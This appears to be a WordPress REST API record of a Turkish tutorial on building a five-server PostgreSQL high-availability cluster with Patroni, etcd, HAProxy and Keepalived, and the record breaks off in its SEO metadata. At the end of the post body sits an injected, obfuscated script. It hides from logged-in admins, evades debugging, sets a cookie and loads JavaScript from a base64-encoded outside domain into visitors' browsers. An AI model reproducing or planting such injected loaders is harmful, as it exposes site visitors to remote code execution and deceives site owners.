{"id":807,"date":"2026-02-26T17:15:48","date_gmt":"2026-02-26T14:15:48","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=807"},"modified":"2026-04-07T11:25:25","modified_gmt":"2026-04-07T08:25:25","slug":"kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/en\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/","title":{"rendered":"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi"},"content":{"rendered":"\n<p>Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda &#8220;Y\u00fcksek Eri\u015filebilir&#8221; (High Availability &#8211; HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, <strong>5 sunuculu katmanl\u0131 bir mimari<\/strong> in\u015fa edece\u011fiz.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 1: Mimariyi Tan\u0131ma ve Mant\u0131\u011f\u0131n\u0131 Kavrama<\/h2>\n\n\n\n<p>Kuruluma ge\u00e7meden \u00f6nce ezbere komut yazmamak i\u00e7in kullanaca\u011f\u0131m\u0131z ara\u00e7lar\u0131n ne i\u015fe yarad\u0131\u011f\u0131n\u0131 ve bu 5 sunucuyu neden bu \u015fekilde konumland\u0131rd\u0131\u011f\u0131m\u0131z\u0131 anlamak \u00e7ok \u00f6nemlidir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Neden Sadece PostgreSQL Kullanm\u0131yoruz?<\/h3>\n\n\n\n<p>PostgreSQL kendi ba\u015f\u0131na harika bir veritaban\u0131 motorudur ve verileri sunucular aras\u0131nda kopyalama (replikasyon) yetene\u011fine sahiptir. Ancak, ana sunucu (Master) \u00e7\u00f6kt\u00fc\u011f\u00fcnde yedek sunucuyu (Replica) otomatik olarak ana sunucu yapma yetene\u011fi <strong>yoktur<\/strong>. Bu i\u015flemi manuel yapman\u0131z gerekir ki bu da ciddi bir kesinti s\u00fcresi demektir. \u0130\u015fte burada dev devreye giriyor: <strong>Patroni<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Tak\u0131m Arkada\u015flar\u0131n\u0131 Tan\u0131yal\u0131m<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Patroni:<\/strong> PostgreSQL&#8217;in zeki y\u00f6neticisidir. Her sunucuda \u00e7al\u0131\u015f\u0131r, veritaban\u0131n\u0131n sa\u011fl\u0131\u011f\u0131n\u0131 s\u00fcrekli kontrol eder. E\u011fer Lider (Master) sunucu \u00e7\u00f6kerse, Patroni saniyeler i\u00e7inde di\u011fer sunucularla anla\u015f\u0131p yeni bir Lider se\u00e7er ve sistemi aya\u011fa kald\u0131r\u0131r.<\/li>\n\n\n\n<li><strong>etcd:<\/strong> Patroni&#8217;nin &#8220;karar defteri&#8221; ve &#8220;ortak akl\u0131&#8221;d\u0131r (DCS &#8211; Distributed Configuration Store). Liderin kim oldu\u011fu, konfig\u00fcrasyon ayarlar\u0131 ve cluster&#8217;\u0131n genel durumu burada tutulur. Kararlar\u0131n oy \u00e7oklu\u011fuyla (Quorum) al\u0131nmas\u0131n\u0131 sa\u011flayarak &#8220;\u00c7ift Ba\u015fl\u0131l\u0131k&#8221; (Split-Brain) sorununu engeller.<\/li>\n\n\n\n<li><strong>HAProxy:<\/strong> Y\u00fck dengeleyicimizdir (Load Balancer). Uygulamalar\u0131m\u0131z hangi sunucunun Lider oldu\u011funu bilmek zorunda de\u011fildir. T\u00fcm trafik HAProxy&#8217;ye gelir ve HAProxy &#8220;Yazma&#8221; isteklerini Lider&#8217;e, &#8220;Okuma&#8221; isteklerini (istenirse) yedeklere (Replica) y\u00f6nlendirir.<\/li>\n\n\n\n<li><strong>Keepalived:<\/strong> Sanal IP (VIP &#8211; Virtual IP) y\u00f6neticisidir. E\u011fer tek bir HAProxy kullan\u0131rsak, o sunucu \u00e7\u00f6kt\u00fc\u011f\u00fcnde sistem yine durur. Keepalived sayesinde 2 adet HAProxy sunucumuz olur ve aktif olan \u00e7\u00f6kerse, Sanal IP an\u0131nda saniyeler i\u00e7inde di\u011fer HAProxy sunucusuna ge\u00e7er.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Neden 5 Sunuculu Katmanl\u0131 (Tiered) Mimari?<\/h3>\n\n\n\n<p>Tasar\u0131m\u0131m\u0131zda servisleri iki ayr\u0131 katmana b\u00f6ld\u00fck:<\/p>\n\n\n\n<p><strong>1. Giri\u015f Katman\u0131 (Sunucu 1 ve Sunucu 2):<\/strong><\/p>\n\n\n\n<p>Sadece trafi\u011fi kar\u015f\u0131lamak ve y\u00f6nlendirmekle g\u00f6revlidirler. \u00dczerlerinde veri tutulmaz. Keepalived ve HAProxy bu sunuculardad\u0131r. B\u00f6ylece veritaban\u0131 sunucular\u0131n\u0131n CPU\/RAM kullan\u0131m\u0131ndaki ani art\u0131\u015flar, a\u011f y\u00f6nlendirmesini yava\u015flatmaz.<\/p>\n\n\n\n<p><strong>2. Veri ve Karar Katman\u0131 (Sunucu 3, Sunucu 4 ve Sunucu 5):<\/strong><\/p>\n\n\n\n<p>Sadece PostgreSQL, Patroni ve etcd bar\u0131nd\u0131r\u0131rlar. 3 sunucu olmas\u0131n\u0131n sebebi etcd&#8217;nin sa\u011fl\u0131kl\u0131 bir &#8220;oylama&#8221; yapabilmesi i\u00e7in tek say\u0131ya (3, 5, 7) ihtiya\u00e7 duymas\u0131d\u0131r. Biri \u00e7\u00f6kse bile kalan 2 sunucu &#8220;\u00c7o\u011funluk bizde&#8221; diyerek sistemi kesintisiz \u00e7al\u0131\u015ft\u0131rmaya devam eder.<\/p>\n\n\n\n<p><strong>\u00d6zet Veri Ak\u0131\u015f\u0131:<\/strong><\/p>\n\n\n\n<p>Uygulama \u27a1 Sanal IP (Keepalived) \u27a1 Aktif HAProxy \u27a1 Patroni API (Lider Kim?) \u27a1 Aktif PostgreSQL Lideri.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 2: Sunucular\u0131n Haz\u0131rlanmas\u0131 (\u00d6n Haz\u0131rl\u0131k)<\/h2>\n\n\n\n<p>Y\u00fcksek eri\u015filebilirli\u011fe sahip bir veritaban\u0131 k\u00fcmesi kurarken, sistemin \u00fczerine in\u015fa edilece\u011fi temel ne kadar sa\u011flamsa, y\u00f6netim o kadar kolay olur. Bu b\u00f6l\u00fcmde, PostgreSQL, Patroni ve etcd bile\u015fenlerinin birbiriyle kesintisiz konu\u015fabilmesi i\u00e7in gerekli olan sunucu haz\u0131rl\u0131klar\u0131n\u0131 ger\u00e7ekle\u015ftirece\u011fiz.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/oraclius.com.tr\/tr\/linux7-9-kurulum\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">VMware Sanal Sunucu Kurulumu<\/a><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">1. Sunucu Envanteri ve Network Plan\u0131<\/h3>\n\n\n\n<p>Karma\u015f\u0131kl\u0131\u011f\u0131 \u00f6nlemek ad\u0131na, kurulum boyunca kullanaca\u011f\u0131m\u0131z IP adreslerini ve sunucu rollerini a\u015fa\u011f\u0131daki tabloda belirledik. Bu tabloyu projenizin ana d\u00f6k\u00fcman\u0131 olarak kabul edebilirsiniz:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><td><strong>Sunucu Ad\u0131<\/strong><\/td><td><strong>Rol\u00fc<\/strong><\/td><td><strong>IP Adresi<\/strong><\/td><td><strong>\u00c7al\u0131\u015facak Servisler<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>haproxy1<\/strong><\/td><td>Load Balancer 1<\/td><td><strong>150.150.150.161<\/strong><\/td><td>HAProxy, Keepalived<\/td><\/tr><tr><td><strong>haproxy2<\/strong><\/td><td>Load Balancer 2<\/td><td><strong>150.150.150.162<\/strong><\/td><td>HAProxy, Keepalived<\/td><\/tr><tr><td><strong>postgres1<\/strong><\/td><td>DB Node 1<\/td><td><strong>150.150.150.151<\/strong><\/td><td>Postgres, Patroni, etcd<\/td><\/tr><tr><td><strong><strong>postgres<\/strong><\/strong>2<\/td><td>DB Node 2<\/td><td><strong>150.150.150.152<\/strong><\/td><td>Postgres, Patroni, etcd<\/td><\/tr><tr><td><strong><strong>postgres<\/strong><\/strong>3<\/td><td>DB Node 3<\/td><td><strong>150.150.150.153<\/strong><\/td><td>Postgres, Patroni, etcd<\/td><\/tr><tr><td><strong>VIP<\/strong><\/td><td><strong>Sanal IP<\/strong><\/td><td><strong>150.150.150.150<\/strong><\/td><td>K\u00fcme Giri\u015f Adresi<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><strong>Hostname Ayar\u0131:<\/strong> Her sunucuda kendi ismini ayarlamay\u0131 unutma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u00d6rn: 150.150.150.151 \u00fczerinde\nsudo hostnamectl set-hostname pg-01<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Yerel DNS ve Host \u00c7\u00f6z\u00fcmleme<\/h3>\n\n\n\n<p>Sunucular\u0131n birbirine IP yerine isimle hitap etmesi, ileride yap\u0131lacak IP de\u011fi\u015fikliklerinde b\u00fcy\u00fck kolayl\u0131k sa\u011flar. <strong>T\u00fcm sunucularda<\/strong> <code>\/etc\/hosts<\/code> dosyas\u0131n\u0131 d\u00fczenleyerek a\u015fa\u011f\u0131daki sat\u0131rlar\u0131 ekliyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>## Postgres Cluster Nodes\n150.150.150.151  postgres1.cluster   postgres1\n150.150.150.152  postgres2.cluster   postgres2\n150.150.150.153  postgres3.cluster   postgres3\n\n## HAProxy\n150.150.150.161  haproxy1.cluster   haproxy1\n150.150.150.162  haproxy2.cluster   haproxy2\n\n## Postgres VIP\n150.150.150.150  pg-vip.cluster     pg-vip<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Gerekli Kurulum Paketleri (RHEL 8.9 Uyumlu)<\/h3>\n\n\n\n<p>\u0130nternet eri\u015fimi olmayan veya k\u0131s\u0131tl\u0131 olan ortamlarda, a\u015fa\u011f\u0131daki paketlerin (<code>.rpm<\/code> ve <code>.tar.gz<\/code>) \u00f6nceden indirilip sunucuya ta\u015f\u0131nmas\u0131 gerekir. \u0130\u015fte bizim setimiz:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>PostgreSQL 16 Seti:<\/strong>\n<ul class=\"wp-block-list\">\n<li><code>postgresql16-server-16.12-1PGDG.rhel8.10.x86_64.rpm<\/code><\/li>\n\n\n\n<li><code>postgresql16-16.12-1PGDG.rhel8.10.x86_64.rpm<\/code><\/li>\n\n\n\n<li><code>postgresql16-libs-16.12-1PGDG.rhel8.10.x86_64.rpm<\/code><\/li>\n\n\n\n<li><code>postgresql16-contrib-16.12-1PGDG.rhel8.10.x86_64.rpm<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Python &amp; Ba\u011flant\u0131 K\u00fct\u00fcphaneleri:<\/strong>\n<ul class=\"wp-block-list\">\n<li><code>python3-libs-3.6.8-73.el8_10.x86_64.rpm<\/code><\/li>\n\n\n\n<li><code>python38-psycopg2-2.8.4-4.module+el8.4.0...x86_64.rpm<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>K\u00fcme Y\u00f6netim Ara\u00e7lar\u0131 (Gelecek Ad\u0131mlar \u0130\u00e7in):<\/strong>\n<ul class=\"wp-block-list\">\n<li><code>etcd-v3.5.15-linux-amd64.tar.gz<\/code> (Binary)<\/li>\n\n\n\n<li><code>patroni-v3.3.0<\/code> (Wheel veya Source)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Ad\u0131m Ad\u0131m Paket Kurulumu<\/h3>\n\n\n\n<p>RHEL tabanl\u0131 sistemlerde ba\u011f\u0131ml\u0131l\u0131k (dependency) hatalar\u0131n\u0131 engellemek i\u00e7in paketleri ayn\u0131 klas\u00f6re toplay\u0131p <code>localinstall<\/code> komutuyla topluca kurmak en g\u00fcvenli yoldur.<\/p>\n\n\n\n<p><strong>DB Sunucular\u0131nda (.151, .152, .153) Kurulum:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Paketlerin oldu\u011fu dizine gidin ve kurun\nrpm -ivh postgresql16-libs-16.12-1PGDG.rhel8.10.x86_64.rpm \\\npostgresql16-16.12-1PGDG.rhel8.10.x86_64.rpm \\\npostgresql16-server-16.12-1PGDG.rhel8.10.x86_64.rpm \\\npostgresql16-contrib-16.12-1PGDG.rhel8.10.x86_64.rpm<\/code><\/pre>\n\n\n\n<p><strong>Kritik Uyar\u0131:<\/strong> PostgreSQL paketlerini kurduktan sonra sak\u0131n <code>postgresql-setup initdb<\/code> komutunu \u00e7al\u0131\u015ft\u0131rmay\u0131n ve servisi ba\u015flatmay\u0131n! Veritaban\u0131 k\u00fcmesinin olu\u015fturulmas\u0131 ve ba\u015flat\u0131lmas\u0131 tamamen <strong>Patroni<\/strong> taraf\u0131ndan y\u00f6netilecektir. Manuel yap\u0131lan bir <code>initdb<\/code> i\u015flemi, Patroni&#8217;nin kurulum s\u00fcrecini bozabilir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u00d6nce <code>Python-3.8.19.tar.xz<\/code> (veya .gz) dosyas\u0131n\u0131 a\u00e7\u0131p derleme i\u015flemini ba\u015flat\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Ar\u015fivi \u00e7\u0131kart\u0131n\ntar xvf Python-3.8.19.tar.xz\ncd Python-3.8.19\n\n# Derleme haz\u0131rl\u0131\u011f\u0131 (Sistemi kirletmemek i\u00e7in \/usr\/local alt\u0131na kuruyoruz)\n.\/configure --enable-optimizations --prefix=\/usr\/local\n\n# Derleme ve kurulum (Altinstall kullanarak sistem python3'\u00fcn\u00fc ezmiyoruz)\nmake -j $(nproc)\nsudo make altinstall<\/code><\/pre>\n\n\n\n<p>Python 3.8 art\u0131k <code>\/usr\/local\/bin\/python3.8<\/code> yolunda haz\u0131r. \u015eimdi elindeki <code>psycopg2<\/code> ve <code>libs<\/code> RPM&#8217;lerini sisteme dahil et:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Ba\u011f\u0131ml\u0131l\u0131k d\u00f6ng\u00fcs\u00fcn\u00fc k\u0131rmak i\u00e7in --nodeps ile kurulum\nrpm -ivh python38-psycopg2-2.8.4-*.rpm --nodeps\nrpm -ivh python38-libs-*.rpm --nodeps<\/code><\/pre>\n\n\n\n<p>Python 3.8&#8217;in PostgreSQL k\u00fct\u00fcphanesini (psycopg2) ba\u015far\u0131yla g\u00f6r\u00fcp g\u00f6rmedi\u011fini \u015fu komutla test edin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/local\/bin\/python3.8 -c \"import psycopg2; print('Psycopg2 Ba\u011flant\u0131s\u0131 Ba\u015far\u0131l\u0131')\"<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 3: etcd Cluster Kurulumu (Karar Mekanizmas\u0131)<\/h2>\n\n\n\n<p>PostgreSQL HA mimarisinde <strong>etcd<\/strong>, &#8220;Distributed Configuration Store&#8221; (DCS) g\u00f6revini g\u00f6r\u00fcr. K\u00fcmenin konfig\u00fcrasyonunu tutar ve hangi sunucunun <strong>Lider (Leader)<\/strong>, hangilerinin <strong>Yedek (Replica)<\/strong> oldu\u011funu belirleyen oylama mekanizmas\u0131n\u0131 y\u00f6netir.<\/p>\n\n\n\n<p>Bu kurulumu 3 veritaban\u0131 sunucumuzda (<strong>pg-01, pg-02, pg-03<\/strong>) ger\u00e7ekle\u015ftirece\u011fiz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. etcd Binary Dosyalar\u0131n\u0131n Yerle\u015ftirilmesi<\/h3>\n\n\n\n<p>\u0130nternetsiz ortamda oldu\u011fumuz i\u00e7in indirdi\u011fin <code class=\"\">etcd-v3.5.15-linux-amd64.tar.gz<\/code> (veya elindeki s\u00fcr\u00fcm) dosyas\u0131n\u0131 kullanaca\u011f\u0131z.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Ar\u015fivi a\u00e7\u0131n\ntar xvf etcd-v3.5.15-linux-amd64.tar.gz\n\n# Binary dosyalar\u0131n\u0131 sistem yoluna kopyalay\u0131n\nsudo cp etcd-v3.5.15-linux-amd64\/etcd* \/usr\/local\/bin\/\n\n# Kontrol edin\netcd --version<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. etcd Kullan\u0131c\u0131s\u0131 ve Veri Dizini Olu\u015fturma<\/h3>\n\n\n\n<p>G\u00fcvenlik gere\u011fi etcd&#8217;nin <code>root<\/code> d\u0131\u015f\u0131nda kendi kullan\u0131c\u0131s\u0131yla \u00e7al\u0131\u015fmas\u0131 gerekir:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo groupadd --system etcd\nsudo useradd -s \/sbin\/nologin --system -g etcd etcd\n\n# Veri dizini olu\u015fturma ve yetkilendirme\nsudo mkdir -p \/var\/lib\/etcd\/\nsudo chown -R etcd:etcd \/var\/lib\/etcd\/<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. etcd Yap\u0131land\u0131rmas\u0131 (Kritik Ayarlar)<\/h3>\n\n\n\n<p>\u015eimdi her sunucu i\u00e7in \u00f6zel bir konfig\u00fcrasyon dosyas\u0131 olu\u015fturaca\u011f\u0131z. A\u015fa\u011f\u0131daki ayarlar\u0131 her sunucuda kendi IP adresine g\u00f6re g\u00fcncellemeyi unutma.<\/p>\n\n\n\n<p><code>sudo vi \/etc\/etcd.conf<\/code> (veya istedi\u011fin bir dizin) dosyas\u0131n\u0131 olu\u015ftur ve i\u00e7eri\u011fini \u015funa g\u00f6re d\u00fczenle (<strong>\u00d6rnek: pg-01 &#8211; 150.150.150.151 i\u00e7in<\/strong>):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># &#91;Member]\nETCD_NAME=\"pg-01\"\nETCD_DATA_DIR=\"\/var\/lib\/etcd\/default\"\nETCD_LISTEN_PEER_URLS=\"http:\/\/150.150.150.151:2380\"\nETCD_LISTEN_CLIENT_URLS=\"http:\/\/150.150.150.151:2379,http:\/\/127.0.0.1:2379\"\n\n# &#91;Clustering]\nETCD_INITIAL_ADVERTISE_PEER_URLS=\"http:\/\/150.150.150.151:2380\"\nETCD_ADVERTISE_CLIENT_URLS=\"http:\/\/150.150.150.151:2379\"\nETCD_INITIAL_CLUSTER=\"pg-01=http:\/\/150.150.150.151:2380,pg-02=http:\/\/150.150.150.152:2380,pg-03=http:\/\/150.150.150.153:2380\"\nETCD_INITIAL_CLUSTER_TOKEN=\"etcd-cluster-pg\"\nETCD_INITIAL_CLUSTER_STATE=\"new\"<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>\u00d6nemli:<\/strong> pg-02 ve pg-03 sunucular\u0131nda <code>ETCD_NAME<\/code> k\u0131sm\u0131n\u0131 ilgili isimle de\u011fi\u015ftirin ve <code>150.150.150.151<\/code> yazan yerleri o sunucunun kendi IP&#8217;si ile g\u00fcncelleyin. <code>ETCD_INITIAL_CLUSTER<\/code> sat\u0131r\u0131 t\u00fcm sunucularda <strong>ayn\u0131<\/strong> kalmal\u0131d\u0131r.<\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">4. Systemd Servis Dosyas\u0131 Olu\u015fturma<\/h3>\n\n\n\n<p>etcd&#8217;nin arka planda s\u00fcrekli \u00e7al\u0131\u015fmas\u0131 i\u00e7in bir servis dosyas\u0131 olu\u015fturuyoruz: <code>sudo nano \/etc\/systemd\/system\/etcd.service<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;Unit]\nDescription=etcd service\nAfter=network.target\n\n&#91;Service]\nType=notify\nUser=etcd\nEnvironmentFile=\/etc\/etcd.conf\nExecStart=\/usr\/local\/bin\/etcd\nRestart=on-failure\nRestartSec=5\n\n&#91;Install]\nWantedBy=multi-user.target<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5. Servisi Ba\u015flatma ve Sa\u011fl\u0131k Kontrol\u00fc<\/h3>\n\n\n\n<p>T\u00fcm sunucularda yap\u0131land\u0131rmay\u0131 bitirdikten sonra servisleri ba\u015flat\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl enable etcd\nsudo systemctl start etcd<\/code><\/pre>\n\n\n\n<p><strong>Cluster Durumunu Kontrol Etme:<\/strong> Herhangi bir sunucuda \u015fu komutu \u00e7al\u0131\u015ft\u0131rarak 3 sunucunun birbirini g\u00f6r\u00fcp g\u00f6rmedi\u011fini kontrol edin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>etcdctl endpoint health --cluster --endpoints=150.150.150.151:2379,150.150.150.152:2379,150.150.150.153:2379<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 4: Patroni Kurulumu ve PostgreSQL HA Yap\u0131land\u0131rmas\u0131<\/h2>\n\n\n\n<p>PostgreSQL k\u00fcmemizin &#8220;beyni&#8221; olan etcd haz\u0131r oldu\u011funa g\u00f6re, art\u0131k bu yap\u0131y\u0131 y\u00f6netecek olan orkestra \u015fefi <strong>Patroni<\/strong>&#8216;yi sahneye al\u0131yoruz. Patroni, veritaban\u0131 d\u00fc\u011f\u00fcmlerinin durumunu izler, replikasyonu y\u00f6netir ve bir ar\u0131za durumunda otomatik olarak yeni lideri se\u00e7er.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Patroni ve Gerekli K\u00fct\u00fcphanelerin Kurulumu<\/h3>\n\n\n\n<p>T\u00fcm veritaban\u0131 sunucular\u0131nda (<strong>postgres01, postgres02, postgres03<\/strong>) Python tabanl\u0131 Patroni bile\u015fenlerini kurarak i\u015fe ba\u015fl\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># PostgreSQL k\u00fct\u00fcphaneleri ve Python 3.8'i birlikte kurun\nrpm -ivh postgresql16-libs-*.rpm \\\npython38-3.8.*.rpm \\\npython38-libs-3.8.*.rpm \\\npython38-psycopg2-2.8.4-*.rpm --nodeps\n\n# Patroni ana paketinin kurulumu\nrpm -ivh patroni-*.rpm<\/code><\/pre>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda &#8220;Y\u00fcksek Eri\u015filebilir&#8221; (High Availability &#8211; HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.<\/p>","protected":false},"author":1,"featured_media":808,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-807","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-genel-en"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi<\/title>\n<meta name=\"description\" content=\"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda &quot;Y\u00fcksek Eri\u015filebilir&quot; (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/oraclius.com.tr\/en\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kurumsal Seviye PostgreSQL HA: 5 Sunucu ile Patroni, etcd, HAProxy ve Keepalived Kurulum Rehberi\" \/>\n<meta property=\"og:description\" content=\"Bu rehberde, sekt\u00f6r standartlar\u0131nda, ger\u00e7ek anlamda &quot;Y\u00fcksek Eri\u015filebilir&quot; (High Availability - HA) bir PostgreSQL k\u00fcmesini s\u0131f\u0131rdan nas\u0131l kuraca\u011f\u0131m\u0131z\u0131 ad\u0131m ad\u0131m inceleyece\u011fiz. Geleneksel 2 sunuculu yap\u0131lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri (split-brain, tekil hata noktalar\u0131) ortadan kald\u0131r\u0131p, 5 sunuculu katmanl\u0131 bir mimari in\u015fa edece\u011fiz.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/oraclius.com.tr\/en\/kurumsal-seviye-postgresql-ha-5-sunucu-ile-patroni-etcd-haproxy-ve-keepalived-kurulum-rehberi\/\" \/>\n<meta property=\"og:site_name\" content=\"oraclius\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-26T14:15:48+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-07T08:25:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/banner.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"640\" \/>\n\t<meta property=\"og:image:height\" content=\"640\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"YUNUS EMRE ATAY\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"YUNUS EMRE ATAY\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" 